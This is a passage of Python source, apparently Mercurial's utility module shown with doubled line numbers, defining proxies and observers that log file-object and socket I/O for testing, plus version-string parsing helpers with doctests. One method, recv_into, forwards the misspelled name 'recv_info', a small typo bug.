476 return bool(object.__getattribute__(self, r'_orig'))
477
477
478 __bool__ = __nonzero__
478 __bool__ = __nonzero__
479
479
480 def __delattr__(self, name):
480 def __delattr__(self, name):
481 return delattr(object.__getattribute__(self, r'_orig'), name)
481 return delattr(object.__getattribute__(self, r'_orig'), name)
482
482
483 def __setattr__(self, name, value):
483 def __setattr__(self, name, value):
484 return setattr(object.__getattribute__(self, r'_orig'), name, value)
484 return setattr(object.__getattribute__(self, r'_orig'), name, value)
485
485
486 def __iter__(self):
486 def __iter__(self):
487 return object.__getattribute__(self, r'_orig').__iter__()
487 return object.__getattribute__(self, r'_orig').__iter__()
488
488
489 def _observedcall(self, name, *args, **kwargs):
489 def _observedcall(self, name, *args, **kwargs):
490 # Call the original object.
490 # Call the original object.
491 orig = object.__getattribute__(self, r'_orig')
491 orig = object.__getattribute__(self, r'_orig')
492 res = getattr(orig, name)(*args, **kwargs)
492 res = getattr(orig, name)(*args, **kwargs)
493
493
494 # Call a method on the observer of the same name with arguments
494 # Call a method on the observer of the same name with arguments
495 # so it can react, log, etc.
495 # so it can react, log, etc.
496 observer = object.__getattribute__(self, r'_observer')
496 observer = object.__getattribute__(self, r'_observer')
497 fn = getattr(observer, name, None)
497 fn = getattr(observer, name, None)
498 if fn:
498 if fn:
499 fn(res, *args, **kwargs)
499 fn(res, *args, **kwargs)
500
500
501 return res
501 return res
502
502
503 def close(self, *args, **kwargs):
503 def close(self, *args, **kwargs):
504 return object.__getattribute__(self, r'_observedcall')(
504 return object.__getattribute__(self, r'_observedcall')(
505 r'close', *args, **kwargs)
505 r'close', *args, **kwargs)
506
506
507 def fileno(self, *args, **kwargs):
507 def fileno(self, *args, **kwargs):
508 return object.__getattribute__(self, r'_observedcall')(
508 return object.__getattribute__(self, r'_observedcall')(
509 r'fileno', *args, **kwargs)
509 r'fileno', *args, **kwargs)
510
510
511 def flush(self, *args, **kwargs):
511 def flush(self, *args, **kwargs):
512 return object.__getattribute__(self, r'_observedcall')(
512 return object.__getattribute__(self, r'_observedcall')(
513 r'flush', *args, **kwargs)
513 r'flush', *args, **kwargs)
514
514
515 def isatty(self, *args, **kwargs):
515 def isatty(self, *args, **kwargs):
516 return object.__getattribute__(self, r'_observedcall')(
516 return object.__getattribute__(self, r'_observedcall')(
517 r'isatty', *args, **kwargs)
517 r'isatty', *args, **kwargs)
518
518
519 def readable(self, *args, **kwargs):
519 def readable(self, *args, **kwargs):
520 return object.__getattribute__(self, r'_observedcall')(
520 return object.__getattribute__(self, r'_observedcall')(
521 r'readable', *args, **kwargs)
521 r'readable', *args, **kwargs)
522
522
523 def readline(self, *args, **kwargs):
523 def readline(self, *args, **kwargs):
524 return object.__getattribute__(self, r'_observedcall')(
524 return object.__getattribute__(self, r'_observedcall')(
525 r'readline', *args, **kwargs)
525 r'readline', *args, **kwargs)
526
526
527 def readlines(self, *args, **kwargs):
527 def readlines(self, *args, **kwargs):
528 return object.__getattribute__(self, r'_observedcall')(
528 return object.__getattribute__(self, r'_observedcall')(
529 r'readlines', *args, **kwargs)
529 r'readlines', *args, **kwargs)
530
530
531 def seek(self, *args, **kwargs):
531 def seek(self, *args, **kwargs):
532 return object.__getattribute__(self, r'_observedcall')(
532 return object.__getattribute__(self, r'_observedcall')(
533 r'seek', *args, **kwargs)
533 r'seek', *args, **kwargs)
534
534
535 def seekable(self, *args, **kwargs):
535 def seekable(self, *args, **kwargs):
536 return object.__getattribute__(self, r'_observedcall')(
536 return object.__getattribute__(self, r'_observedcall')(
537 r'seekable', *args, **kwargs)
537 r'seekable', *args, **kwargs)
538
538
539 def tell(self, *args, **kwargs):
539 def tell(self, *args, **kwargs):
540 return object.__getattribute__(self, r'_observedcall')(
540 return object.__getattribute__(self, r'_observedcall')(
541 r'tell', *args, **kwargs)
541 r'tell', *args, **kwargs)
542
542
543 def truncate(self, *args, **kwargs):
543 def truncate(self, *args, **kwargs):
544 return object.__getattribute__(self, r'_observedcall')(
544 return object.__getattribute__(self, r'_observedcall')(
545 r'truncate', *args, **kwargs)
545 r'truncate', *args, **kwargs)
546
546
547 def writable(self, *args, **kwargs):
547 def writable(self, *args, **kwargs):
548 return object.__getattribute__(self, r'_observedcall')(
548 return object.__getattribute__(self, r'_observedcall')(
549 r'writable', *args, **kwargs)
549 r'writable', *args, **kwargs)
550
550
551 def writelines(self, *args, **kwargs):
551 def writelines(self, *args, **kwargs):
552 return object.__getattribute__(self, r'_observedcall')(
552 return object.__getattribute__(self, r'_observedcall')(
553 r'writelines', *args, **kwargs)
553 r'writelines', *args, **kwargs)
554
554
555 def read(self, *args, **kwargs):
555 def read(self, *args, **kwargs):
556 return object.__getattribute__(self, r'_observedcall')(
556 return object.__getattribute__(self, r'_observedcall')(
557 r'read', *args, **kwargs)
557 r'read', *args, **kwargs)
558
558
559 def readall(self, *args, **kwargs):
559 def readall(self, *args, **kwargs):
560 return object.__getattribute__(self, r'_observedcall')(
560 return object.__getattribute__(self, r'_observedcall')(
561 r'readall', *args, **kwargs)
561 r'readall', *args, **kwargs)
562
562
563 def readinto(self, *args, **kwargs):
563 def readinto(self, *args, **kwargs):
564 return object.__getattribute__(self, r'_observedcall')(
564 return object.__getattribute__(self, r'_observedcall')(
565 r'readinto', *args, **kwargs)
565 r'readinto', *args, **kwargs)
566
566
567 def write(self, *args, **kwargs):
567 def write(self, *args, **kwargs):
568 return object.__getattribute__(self, r'_observedcall')(
568 return object.__getattribute__(self, r'_observedcall')(
569 r'write', *args, **kwargs)
569 r'write', *args, **kwargs)
570
570
571 def detach(self, *args, **kwargs):
571 def detach(self, *args, **kwargs):
572 return object.__getattribute__(self, r'_observedcall')(
572 return object.__getattribute__(self, r'_observedcall')(
573 r'detach', *args, **kwargs)
573 r'detach', *args, **kwargs)
574
574
575 def read1(self, *args, **kwargs):
575 def read1(self, *args, **kwargs):
576 return object.__getattribute__(self, r'_observedcall')(
576 return object.__getattribute__(self, r'_observedcall')(
577 r'read1', *args, **kwargs)
577 r'read1', *args, **kwargs)
578
578
579 class observedbufferedinputpipe(bufferedinputpipe):
579 class observedbufferedinputpipe(bufferedinputpipe):
580 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
580 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
581
581
582 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
582 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
583 bypass ``fileobjectproxy``. Because of this, we need to make
583 bypass ``fileobjectproxy``. Because of this, we need to make
584 ``bufferedinputpipe`` aware of these operations.
584 ``bufferedinputpipe`` aware of these operations.
585
585
586 This variation of ``bufferedinputpipe`` can notify observers about
586 This variation of ``bufferedinputpipe`` can notify observers about
587 ``os.read()`` events. It also re-publishes other events, such as
587 ``os.read()`` events. It also re-publishes other events, such as
588 ``read()`` and ``readline()``.
588 ``read()`` and ``readline()``.
589 """
589 """
590 def _fillbuffer(self):
590 def _fillbuffer(self):
591 res = super(observedbufferedinputpipe, self)._fillbuffer()
591 res = super(observedbufferedinputpipe, self)._fillbuffer()
592
592
593 fn = getattr(self._input._observer, r'osread', None)
593 fn = getattr(self._input._observer, r'osread', None)
594 if fn:
594 if fn:
595 fn(res, _chunksize)
595 fn(res, _chunksize)
596
596
597 return res
597 return res
598
598
599 # We use different observer methods because the operation isn't
599 # We use different observer methods because the operation isn't
600 # performed on the actual file object but on us.
600 # performed on the actual file object but on us.
601 def read(self, size):
601 def read(self, size):
602 res = super(observedbufferedinputpipe, self).read(size)
602 res = super(observedbufferedinputpipe, self).read(size)
603
603
604 fn = getattr(self._input._observer, r'bufferedread', None)
604 fn = getattr(self._input._observer, r'bufferedread', None)
605 if fn:
605 if fn:
606 fn(res, size)
606 fn(res, size)
607
607
608 return res
608 return res
609
609
610 def readline(self, *args, **kwargs):
610 def readline(self, *args, **kwargs):
611 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
611 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
612
612
613 fn = getattr(self._input._observer, r'bufferedreadline', None)
613 fn = getattr(self._input._observer, r'bufferedreadline', None)
614 if fn:
614 if fn:
615 fn(res)
615 fn(res)
616
616
617 return res
617 return res
618
618
619 PROXIED_SOCKET_METHODS = {
619 PROXIED_SOCKET_METHODS = {
620 r'makefile',
620 r'makefile',
621 r'recv',
621 r'recv',
622 r'recvfrom',
622 r'recvfrom',
623 r'recvfrom_into',
623 r'recvfrom_into',
624 r'recv_into',
624 r'recv_into',
625 r'send',
625 r'send',
626 r'sendall',
626 r'sendall',
627 r'sendto',
627 r'sendto',
628 r'setblocking',
628 r'setblocking',
629 r'settimeout',
629 r'settimeout',
630 r'gettimeout',
630 r'gettimeout',
631 r'setsockopt',
631 r'setsockopt',
632 }
632 }
633
633
634 class socketproxy(object):
634 class socketproxy(object):
635 """A proxy around a socket that tells a watcher when events occur.
635 """A proxy around a socket that tells a watcher when events occur.
636
636
637 This is like ``fileobjectproxy`` except for sockets.
637 This is like ``fileobjectproxy`` except for sockets.
638
638
639 This type is intended to only be used for testing purposes. Think hard
639 This type is intended to only be used for testing purposes. Think hard
640 before using it in important code.
640 before using it in important code.
641 """
641 """
642 __slots__ = (
642 __slots__ = (
643 r'_orig',
643 r'_orig',
644 r'_observer',
644 r'_observer',
645 )
645 )
646
646
647 def __init__(self, sock, observer):
647 def __init__(self, sock, observer):
648 object.__setattr__(self, r'_orig', sock)
648 object.__setattr__(self, r'_orig', sock)
649 object.__setattr__(self, r'_observer', observer)
649 object.__setattr__(self, r'_observer', observer)
650
650
651 def __getattribute__(self, name):
651 def __getattribute__(self, name):
652 if name in PROXIED_SOCKET_METHODS:
652 if name in PROXIED_SOCKET_METHODS:
653 return object.__getattribute__(self, name)
653 return object.__getattribute__(self, name)
654
654
655 return getattr(object.__getattribute__(self, r'_orig'), name)
655 return getattr(object.__getattribute__(self, r'_orig'), name)
656
656
657 def __delattr__(self, name):
657 def __delattr__(self, name):
658 return delattr(object.__getattribute__(self, r'_orig'), name)
658 return delattr(object.__getattribute__(self, r'_orig'), name)
659
659
660 def __setattr__(self, name, value):
660 def __setattr__(self, name, value):
661 return setattr(object.__getattribute__(self, r'_orig'), name, value)
661 return setattr(object.__getattribute__(self, r'_orig'), name, value)
662
662
663 def __nonzero__(self):
663 def __nonzero__(self):
664 return bool(object.__getattribute__(self, r'_orig'))
664 return bool(object.__getattribute__(self, r'_orig'))
665
665
666 __bool__ = __nonzero__
666 __bool__ = __nonzero__
667
667
668 def _observedcall(self, name, *args, **kwargs):
668 def _observedcall(self, name, *args, **kwargs):
669 # Call the original object.
669 # Call the original object.
670 orig = object.__getattribute__(self, r'_orig')
670 orig = object.__getattribute__(self, r'_orig')
671 res = getattr(orig, name)(*args, **kwargs)
671 res = getattr(orig, name)(*args, **kwargs)
672
672
673 # Call a method on the observer of the same name with arguments
673 # Call a method on the observer of the same name with arguments
674 # so it can react, log, etc.
674 # so it can react, log, etc.
675 observer = object.__getattribute__(self, r'_observer')
675 observer = object.__getattribute__(self, r'_observer')
676 fn = getattr(observer, name, None)
676 fn = getattr(observer, name, None)
677 if fn:
677 if fn:
678 fn(res, *args, **kwargs)
678 fn(res, *args, **kwargs)
679
679
680 return res
680 return res
681
681
682 def makefile(self, *args, **kwargs):
682 def makefile(self, *args, **kwargs):
683 res = object.__getattribute__(self, r'_observedcall')(
683 res = object.__getattribute__(self, r'_observedcall')(
684 r'makefile', *args, **kwargs)
684 r'makefile', *args, **kwargs)
685
685
686 # The file object may be used for I/O. So we turn it into a
686 # The file object may be used for I/O. So we turn it into a
687 # proxy using our observer.
687 # proxy using our observer.
688 observer = object.__getattribute__(self, r'_observer')
688 observer = object.__getattribute__(self, r'_observer')
689 return makeloggingfileobject(observer.fh, res, observer.name,
689 return makeloggingfileobject(observer.fh, res, observer.name,
690 reads=observer.reads,
690 reads=observer.reads,
691 writes=observer.writes,
691 writes=observer.writes,
692 logdata=observer.logdata,
692 logdata=observer.logdata,
693 logdataapis=observer.logdataapis)
693 logdataapis=observer.logdataapis)
694
694
695 def recv(self, *args, **kwargs):
695 def recv(self, *args, **kwargs):
696 return object.__getattribute__(self, r'_observedcall')(
696 return object.__getattribute__(self, r'_observedcall')(
697 r'recv', *args, **kwargs)
697 r'recv', *args, **kwargs)
698
698
699 def recvfrom(self, *args, **kwargs):
699 def recvfrom(self, *args, **kwargs):
700 return object.__getattribute__(self, r'_observedcall')(
700 return object.__getattribute__(self, r'_observedcall')(
701 r'recvfrom', *args, **kwargs)
701 r'recvfrom', *args, **kwargs)
702
702
703 def recvfrom_into(self, *args, **kwargs):
703 def recvfrom_into(self, *args, **kwargs):
704 return object.__getattribute__(self, r'_observedcall')(
704 return object.__getattribute__(self, r'_observedcall')(
705 r'recvfrom_into', *args, **kwargs)
705 r'recvfrom_into', *args, **kwargs)
706
706
707 def recv_into(self, *args, **kwargs):
707 def recv_into(self, *args, **kwargs):
708 return object.__getattribute__(self, r'_observedcall')(
708 return object.__getattribute__(self, r'_observedcall')(
709 r'recv_info', *args, **kwargs)
709 r'recv_info', *args, **kwargs)
710
710
711 def send(self, *args, **kwargs):
711 def send(self, *args, **kwargs):
712 return object.__getattribute__(self, r'_observedcall')(
712 return object.__getattribute__(self, r'_observedcall')(
713 r'send', *args, **kwargs)
713 r'send', *args, **kwargs)
714
714
715 def sendall(self, *args, **kwargs):
715 def sendall(self, *args, **kwargs):
716 return object.__getattribute__(self, r'_observedcall')(
716 return object.__getattribute__(self, r'_observedcall')(
717 r'sendall', *args, **kwargs)
717 r'sendall', *args, **kwargs)
718
718
719 def sendto(self, *args, **kwargs):
719 def sendto(self, *args, **kwargs):
720 return object.__getattribute__(self, r'_observedcall')(
720 return object.__getattribute__(self, r'_observedcall')(
721 r'sendto', *args, **kwargs)
721 r'sendto', *args, **kwargs)
722
722
723 def setblocking(self, *args, **kwargs):
723 def setblocking(self, *args, **kwargs):
724 return object.__getattribute__(self, r'_observedcall')(
724 return object.__getattribute__(self, r'_observedcall')(
725 r'setblocking', *args, **kwargs)
725 r'setblocking', *args, **kwargs)
726
726
727 def settimeout(self, *args, **kwargs):
727 def settimeout(self, *args, **kwargs):
728 return object.__getattribute__(self, r'_observedcall')(
728 return object.__getattribute__(self, r'_observedcall')(
729 r'settimeout', *args, **kwargs)
729 r'settimeout', *args, **kwargs)
730
730
731 def gettimeout(self, *args, **kwargs):
731 def gettimeout(self, *args, **kwargs):
732 return object.__getattribute__(self, r'_observedcall')(
732 return object.__getattribute__(self, r'_observedcall')(
733 r'gettimeout', *args, **kwargs)
733 r'gettimeout', *args, **kwargs)
734
734
735 def setsockopt(self, *args, **kwargs):
735 def setsockopt(self, *args, **kwargs):
736 return object.__getattribute__(self, r'_observedcall')(
736 return object.__getattribute__(self, r'_observedcall')(
737 r'setsockopt', *args, **kwargs)
737 r'setsockopt', *args, **kwargs)
738
738
739 class baseproxyobserver(object):
739 class baseproxyobserver(object):
740 def _writedata(self, data):
740 def _writedata(self, data):
741 if not self.logdata:
741 if not self.logdata:
742 if self.logdataapis:
742 if self.logdataapis:
743 self.fh.write('\n')
743 self.fh.write('\n')
744 self.fh.flush()
744 self.fh.flush()
745 return
745 return
746
746
747 # Simple case writes all data on a single line.
747 # Simple case writes all data on a single line.
748 if b'\n' not in data:
748 if b'\n' not in data:
749 if self.logdataapis:
749 if self.logdataapis:
750 self.fh.write(': %s\n' % stringutil.escapestr(data))
750 self.fh.write(': %s\n' % stringutil.escapestr(data))
751 else:
751 else:
752 self.fh.write('%s> %s\n'
752 self.fh.write('%s> %s\n'
753 % (self.name, stringutil.escapestr(data)))
753 % (self.name, stringutil.escapestr(data)))
754 self.fh.flush()
754 self.fh.flush()
755 return
755 return
756
756
757 # Data with newlines is written to multiple lines.
757 # Data with newlines is written to multiple lines.
758 if self.logdataapis:
758 if self.logdataapis:
759 self.fh.write(':\n')
759 self.fh.write(':\n')
760
760
761 lines = data.splitlines(True)
761 lines = data.splitlines(True)
762 for line in lines:
762 for line in lines:
763 self.fh.write('%s> %s\n'
763 self.fh.write('%s> %s\n'
764 % (self.name, stringutil.escapestr(line)))
764 % (self.name, stringutil.escapestr(line)))
765 self.fh.flush()
765 self.fh.flush()
766
766
767 class fileobjectobserver(baseproxyobserver):
767 class fileobjectobserver(baseproxyobserver):
768 """Logs file object activity."""
768 """Logs file object activity."""
769 def __init__(self, fh, name, reads=True, writes=True, logdata=False,
769 def __init__(self, fh, name, reads=True, writes=True, logdata=False,
770 logdataapis=True):
770 logdataapis=True):
771 self.fh = fh
771 self.fh = fh
772 self.name = name
772 self.name = name
773 self.logdata = logdata
773 self.logdata = logdata
774 self.logdataapis = logdataapis
774 self.logdataapis = logdataapis
775 self.reads = reads
775 self.reads = reads
776 self.writes = writes
776 self.writes = writes
777
777
778 def read(self, res, size=-1):
778 def read(self, res, size=-1):
779 if not self.reads:
779 if not self.reads:
780 return
780 return
781 # Python 3 can return None from reads at EOF instead of empty strings.
781 # Python 3 can return None from reads at EOF instead of empty strings.
782 if res is None:
782 if res is None:
783 res = ''
783 res = ''
784
784
785 if size == -1 and res == '':
785 if size == -1 and res == '':
786 # Suppress pointless read(-1) calls that return
786 # Suppress pointless read(-1) calls that return
787 # nothing. These happen _a lot_ on Python 3, and there
787 # nothing. These happen _a lot_ on Python 3, and there
788 # doesn't seem to be a better workaround to have matching
788 # doesn't seem to be a better workaround to have matching
789 # Python 2 and 3 behavior. :(
789 # Python 2 and 3 behavior. :(
790 return
790 return
791
791
792 if self.logdataapis:
792 if self.logdataapis:
793 self.fh.write('%s> read(%d) -> %d' % (self.name, size, len(res)))
793 self.fh.write('%s> read(%d) -> %d' % (self.name, size, len(res)))
794
794
795 self._writedata(res)
795 self._writedata(res)
796
796
797 def readline(self, res, limit=-1):
797 def readline(self, res, limit=-1):
798 if not self.reads:
798 if not self.reads:
799 return
799 return
800
800
801 if self.logdataapis:
801 if self.logdataapis:
802 self.fh.write('%s> readline() -> %d' % (self.name, len(res)))
802 self.fh.write('%s> readline() -> %d' % (self.name, len(res)))
803
803
804 self._writedata(res)
804 self._writedata(res)
805
805
806 def readinto(self, res, dest):
806 def readinto(self, res, dest):
807 if not self.reads:
807 if not self.reads:
808 return
808 return
809
809
810 if self.logdataapis:
810 if self.logdataapis:
811 self.fh.write('%s> readinto(%d) -> %r' % (self.name, len(dest),
811 self.fh.write('%s> readinto(%d) -> %r' % (self.name, len(dest),
812 res))
812 res))
813
813
814 data = dest[0:res] if res is not None else b''
814 data = dest[0:res] if res is not None else b''
815 self._writedata(data)
815 self._writedata(data)
816
816
817 def write(self, res, data):
817 def write(self, res, data):
818 if not self.writes:
818 if not self.writes:
819 return
819 return
820
820
821 # Python 2 returns None from some write() calls. Python 3 (reasonably)
821 # Python 2 returns None from some write() calls. Python 3 (reasonably)
822 # returns the integer bytes written.
822 # returns the integer bytes written.
823 if res is None and data:
823 if res is None and data:
824 res = len(data)
824 res = len(data)
825
825
826 if self.logdataapis:
826 if self.logdataapis:
827 self.fh.write('%s> write(%d) -> %r' % (self.name, len(data), res))
827 self.fh.write('%s> write(%d) -> %r' % (self.name, len(data), res))
828
828
829 self._writedata(data)
829 self._writedata(data)
830
830
831 def flush(self, res):
831 def flush(self, res):
832 if not self.writes:
832 if not self.writes:
833 return
833 return
834
834
835 self.fh.write('%s> flush() -> %r\n' % (self.name, res))
835 self.fh.write('%s> flush() -> %r\n' % (self.name, res))
836
836
837 # For observedbufferedinputpipe.
837 # For observedbufferedinputpipe.
838 def bufferedread(self, res, size):
838 def bufferedread(self, res, size):
839 if not self.reads:
839 if not self.reads:
840 return
840 return
841
841
842 if self.logdataapis:
842 if self.logdataapis:
843 self.fh.write('%s> bufferedread(%d) -> %d' % (
843 self.fh.write('%s> bufferedread(%d) -> %d' % (
844 self.name, size, len(res)))
844 self.name, size, len(res)))
845
845
846 self._writedata(res)
846 self._writedata(res)
847
847
848 def bufferedreadline(self, res):
848 def bufferedreadline(self, res):
849 if not self.reads:
849 if not self.reads:
850 return
850 return
851
851
852 if self.logdataapis:
852 if self.logdataapis:
853 self.fh.write('%s> bufferedreadline() -> %d' % (
853 self.fh.write('%s> bufferedreadline() -> %d' % (
854 self.name, len(res)))
854 self.name, len(res)))
855
855
856 self._writedata(res)
856 self._writedata(res)
857
857
858 def makeloggingfileobject(logh, fh, name, reads=True, writes=True,
858 def makeloggingfileobject(logh, fh, name, reads=True, writes=True,
859 logdata=False, logdataapis=True):
859 logdata=False, logdataapis=True):
860 """Turn a file object into a logging file object."""
860 """Turn a file object into a logging file object."""
861
861
862 observer = fileobjectobserver(logh, name, reads=reads, writes=writes,
862 observer = fileobjectobserver(logh, name, reads=reads, writes=writes,
863 logdata=logdata, logdataapis=logdataapis)
863 logdata=logdata, logdataapis=logdataapis)
864 return fileobjectproxy(fh, observer)
864 return fileobjectproxy(fh, observer)
865
865
866 class socketobserver(baseproxyobserver):
866 class socketobserver(baseproxyobserver):
867 """Logs socket activity."""
867 """Logs socket activity."""
868 def __init__(self, fh, name, reads=True, writes=True, states=True,
868 def __init__(self, fh, name, reads=True, writes=True, states=True,
869 logdata=False, logdataapis=True):
869 logdata=False, logdataapis=True):
870 self.fh = fh
870 self.fh = fh
871 self.name = name
871 self.name = name
872 self.reads = reads
872 self.reads = reads
873 self.writes = writes
873 self.writes = writes
874 self.states = states
874 self.states = states
875 self.logdata = logdata
875 self.logdata = logdata
876 self.logdataapis = logdataapis
876 self.logdataapis = logdataapis
877
877
878 def makefile(self, res, mode=None, bufsize=None):
878 def makefile(self, res, mode=None, bufsize=None):
879 if not self.states:
879 if not self.states:
880 return
880 return
881
881
882 self.fh.write('%s> makefile(%r, %r)\n' % (
882 self.fh.write('%s> makefile(%r, %r)\n' % (
883 self.name, mode, bufsize))
883 self.name, mode, bufsize))
884
884
885 def recv(self, res, size, flags=0):
885 def recv(self, res, size, flags=0):
886 if not self.reads:
886 if not self.reads:
887 return
887 return
888
888
889 if self.logdataapis:
889 if self.logdataapis:
890 self.fh.write('%s> recv(%d, %d) -> %d' % (
890 self.fh.write('%s> recv(%d, %d) -> %d' % (
891 self.name, size, flags, len(res)))
891 self.name, size, flags, len(res)))
892 self._writedata(res)
892 self._writedata(res)
893
893
894 def recvfrom(self, res, size, flags=0):
894 def recvfrom(self, res, size, flags=0):
895 if not self.reads:
895 if not self.reads:
896 return
896 return
897
897
898 if self.logdataapis:
898 if self.logdataapis:
899 self.fh.write('%s> recvfrom(%d, %d) -> %d' % (
899 self.fh.write('%s> recvfrom(%d, %d) -> %d' % (
900 self.name, size, flags, len(res[0])))
900 self.name, size, flags, len(res[0])))
901
901
902 self._writedata(res[0])
902 self._writedata(res[0])
903
903
904 def recvfrom_into(self, res, buf, size, flags=0):
904 def recvfrom_into(self, res, buf, size, flags=0):
905 if not self.reads:
905 if not self.reads:
906 return
906 return
907
907
908 if self.logdataapis:
908 if self.logdataapis:
909 self.fh.write('%s> recvfrom_into(%d, %d) -> %d' % (
909 self.fh.write('%s> recvfrom_into(%d, %d) -> %d' % (
910 self.name, size, flags, res[0]))
910 self.name, size, flags, res[0]))
911
911
912 self._writedata(buf[0:res[0]])
912 self._writedata(buf[0:res[0]])
913
913
914 def recv_into(self, res, buf, size=0, flags=0):
914 def recv_into(self, res, buf, size=0, flags=0):
915 if not self.reads:
915 if not self.reads:
916 return
916 return
917
917
918 if self.logdataapis:
918 if self.logdataapis:
919 self.fh.write('%s> recv_into(%d, %d) -> %d' % (
919 self.fh.write('%s> recv_into(%d, %d) -> %d' % (
920 self.name, size, flags, res))
920 self.name, size, flags, res))
921
921
922 self._writedata(buf[0:res])
922 self._writedata(buf[0:res])
923
923
924 def send(self, res, data, flags=0):
924 def send(self, res, data, flags=0):
925 if not self.writes:
925 if not self.writes:
926 return
926 return
927
927
928 self.fh.write('%s> send(%d, %d) -> %d' % (
928 self.fh.write('%s> send(%d, %d) -> %d' % (
929 self.name, len(data), flags, len(res)))
929 self.name, len(data), flags, len(res)))
930 self._writedata(data)
930 self._writedata(data)
931
931
932 def sendall(self, res, data, flags=0):
932 def sendall(self, res, data, flags=0):
933 if not self.writes:
933 if not self.writes:
934 return
934 return
935
935
936 if self.logdataapis:
936 if self.logdataapis:
937 # Returns None on success. So don't bother reporting return value.
937 # Returns None on success. So don't bother reporting return value.
938 self.fh.write('%s> sendall(%d, %d)' % (
938 self.fh.write('%s> sendall(%d, %d)' % (
939 self.name, len(data), flags))
939 self.name, len(data), flags))
940
940
941 self._writedata(data)
941 self._writedata(data)
942
942
943 def sendto(self, res, data, flagsoraddress, address=None):
943 def sendto(self, res, data, flagsoraddress, address=None):
944 if not self.writes:
944 if not self.writes:
945 return
945 return
946
946
947 if address:
947 if address:
948 flags = flagsoraddress
948 flags = flagsoraddress
949 else:
949 else:
950 flags = 0
950 flags = 0
951
951
952 if self.logdataapis:
952 if self.logdataapis:
953 self.fh.write('%s> sendto(%d, %d, %r) -> %d' % (
953 self.fh.write('%s> sendto(%d, %d, %r) -> %d' % (
954 self.name, len(data), flags, address, res))
954 self.name, len(data), flags, address, res))
955
955
956 self._writedata(data)
956 self._writedata(data)
957
957
958 def setblocking(self, res, flag):
958 def setblocking(self, res, flag):
959 if not self.states:
959 if not self.states:
960 return
960 return
961
961
962 self.fh.write('%s> setblocking(%r)\n' % (self.name, flag))
962 self.fh.write('%s> setblocking(%r)\n' % (self.name, flag))
963
963
964 def settimeout(self, res, value):
964 def settimeout(self, res, value):
965 if not self.states:
965 if not self.states:
966 return
966 return
967
967
968 self.fh.write('%s> settimeout(%r)\n' % (self.name, value))
968 self.fh.write('%s> settimeout(%r)\n' % (self.name, value))
969
969
970 def gettimeout(self, res):
970 def gettimeout(self, res):
971 if not self.states:
971 if not self.states:
972 return
972 return
973
973
974 self.fh.write('%s> gettimeout() -> %f\n' % (self.name, res))
974 self.fh.write('%s> gettimeout() -> %f\n' % (self.name, res))
975
975
976 def setsockopt(self, level, optname, value):
976 def setsockopt(self, level, optname, value):
977 if not self.states:
977 if not self.states:
978 return
978 return
979
979
980 self.fh.write('%s> setsockopt(%r, %r, %r) -> %r\n' % (
980 self.fh.write('%s> setsockopt(%r, %r, %r) -> %r\n' % (
981 self.name, level, optname, value))
981 self.name, level, optname, value))
982
982
983 def makeloggingsocket(logh, fh, name, reads=True, writes=True, states=True,
983 def makeloggingsocket(logh, fh, name, reads=True, writes=True, states=True,
984 logdata=False, logdataapis=True):
984 logdata=False, logdataapis=True):
985 """Turn a socket into a logging socket."""
985 """Turn a socket into a logging socket."""
986
986
987 observer = socketobserver(logh, name, reads=reads, writes=writes,
987 observer = socketobserver(logh, name, reads=reads, writes=writes,
988 states=states, logdata=logdata,
988 states=states, logdata=logdata,
989 logdataapis=logdataapis)
989 logdataapis=logdataapis)
990 return socketproxy(fh, observer)
990 return socketproxy(fh, observer)
991
991
992 def version():
992 def version():
993 """Return version information if available."""
993 """Return version information if available."""
994 try:
994 try:
995 from . import __version__
995 from . import __version__
996 return __version__.version
996 return __version__.version
997 except ImportError:
997 except ImportError:
998 return 'unknown'
998 return 'unknown'
999
999
1000 def versiontuple(v=None, n=4):
1000 def versiontuple(v=None, n=4):
1001 """Parses a Mercurial version string into an N-tuple.
1001 """Parses a Mercurial version string into an N-tuple.
1002
1002
1003 The version string to be parsed is specified with the ``v`` argument.
1003 The version string to be parsed is specified with the ``v`` argument.
1004 If it isn't defined, the current Mercurial version string will be parsed.
1004 If it isn't defined, the current Mercurial version string will be parsed.
1005
1005
1006 ``n`` can be 2, 3, or 4. Here is how some version strings map to
1006 ``n`` can be 2, 3, or 4. Here is how some version strings map to
1007 returned values:
1007 returned values:
1008
1008
1009 >>> v = b'3.6.1+190-df9b73d2d444'
1009 >>> v = b'3.6.1+190-df9b73d2d444'
1010 >>> versiontuple(v, 2)
1010 >>> versiontuple(v, 2)
1011 (3, 6)
1011 (3, 6)
1012 >>> versiontuple(v, 3)
1012 >>> versiontuple(v, 3)
1013 (3, 6, 1)
1013 (3, 6, 1)
1014 >>> versiontuple(v, 4)
1014 >>> versiontuple(v, 4)
1015 (3, 6, 1, '190-df9b73d2d444')
1015 (3, 6, 1, '190-df9b73d2d444')
1016
1016
1017 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
1017 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
1018 (3, 6, 1, '190-df9b73d2d444+20151118')
1018 (3, 6, 1, '190-df9b73d2d444+20151118')
1019
1019
1020 >>> v = b'3.6'
1020 >>> v = b'3.6'
1021 >>> versiontuple(v, 2)
1021 >>> versiontuple(v, 2)
1022 (3, 6)
1022 (3, 6)
1023 >>> versiontuple(v, 3)
1023 >>> versiontuple(v, 3)
1024 (3, 6, None)
1024 (3, 6, None)
1025 >>> versiontuple(v, 4)
1025 >>> versiontuple(v, 4)
1026 (3, 6, None, None)
1026 (3, 6, None, None)
1027
1027
1028 >>> v = b'3.9-rc'
1028 >>> v = b'3.9-rc'
1029 >>> versiontuple(v, 2)
1029 >>> versiontuple(v, 2)
1030 (3, 9)
1030 (3, 9)
1031 >>> versiontuple(v, 3)
1031 >>> versiontuple(v, 3)
1032 (3, 9, None)
1032 (3, 9, None)
1033 >>> versiontuple(v, 4)
1033 >>> versiontuple(v, 4)
1034 (3, 9, None, 'rc')
1034 (3, 9, None, 'rc')
1035
1035
1036 >>> v = b'3.9-rc+2-02a8fea4289b'
1036 >>> v = b'3.9-rc+2-02a8fea4289b'
1037 >>> versiontuple(v, 2)
1037 >>> versiontuple(v, 2)
1038 (3, 9)
1038 (3, 9)
1039 >>> versiontuple(v, 3)
1039 >>> versiontuple(v, 3)
1040 (3, 9, None)
1040 (3, 9, None)
1041 >>> versiontuple(v, 4)
